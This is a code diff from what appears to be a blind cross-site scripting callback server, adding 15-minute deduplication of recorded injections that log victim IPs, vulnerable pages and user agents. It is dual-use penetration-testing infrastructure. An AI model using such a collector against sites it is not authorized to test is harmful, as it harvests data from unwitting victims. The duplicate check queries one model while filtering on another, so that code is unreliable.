screenshot_file_path = '' @@ -410,12 +409,18 @@ def post( self ): else: callback_data = json.loads( self.request.body ) callback_data['ip'] = self.request.remote_ip - injection_db_record = record_callback_in_database( callback_data, self ) - self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) - if owner_user.email_enabled: - send_javascript_callback_message( owner_user.email, injection_db_record ) - self.write( '{}' ) + # Check if injection already recently recorded + owner_user = self.get_user_from_subdomain() + if 0 < session.query( InjectionRequest ).filter( Injection.owner_id == owner_user.id, Injection.vulnerable_page == callback_data["uri"].encode("utf-8"), Injection.victim_ip == self.request.remote_ip, Injection.user_agent == callback_data["user-agent"].encode("utf-8"), Injection.injection_timestamp > time.time()-900).count(): + self.write( '{"DUPLICATE"}' ) + else: + injection_db_record = record_callback_in_database( callback_data, self ) + self.logit( "User " + owner_user.username + " just got an XSS callback for URI " + injection_db_record.vulnerable_page ) + + if owner_user.email_enabled: + send_javascript_callback_message( owner_user.email, injection_db_record ) + self.write( '{}' ) class HomepageHandler(BaseHandler): def get(self, path): @@ -444,8 +449,12 @@ def get(self, path): else: new_probe = new_probe.replace( '[TEMPLATE_REPLACE_ME]', json.dumps( "" )) - # Check recent callbacks - if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900 ).count(): + # Check recent callbacks + if "Referer" in self.request.headers: + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900, Injection.vulnerable_page == self.request.headers.get("Referer")).count(): + new_probe = 'Injection already recorded within last fifteen minutes' + else: + if 0 < session.query( Injection ).filter( Injection.victim_ip == self.request.remote_ip, Injection.injection_timestamp > time.time()-900).count(): new_probe = 'Injection already recorded within last fifteen minutes' if self.request.uri != "/":
    Vulnerable DomainThumbnailDate Victim IP Vulnerable Page URIThumbnail Options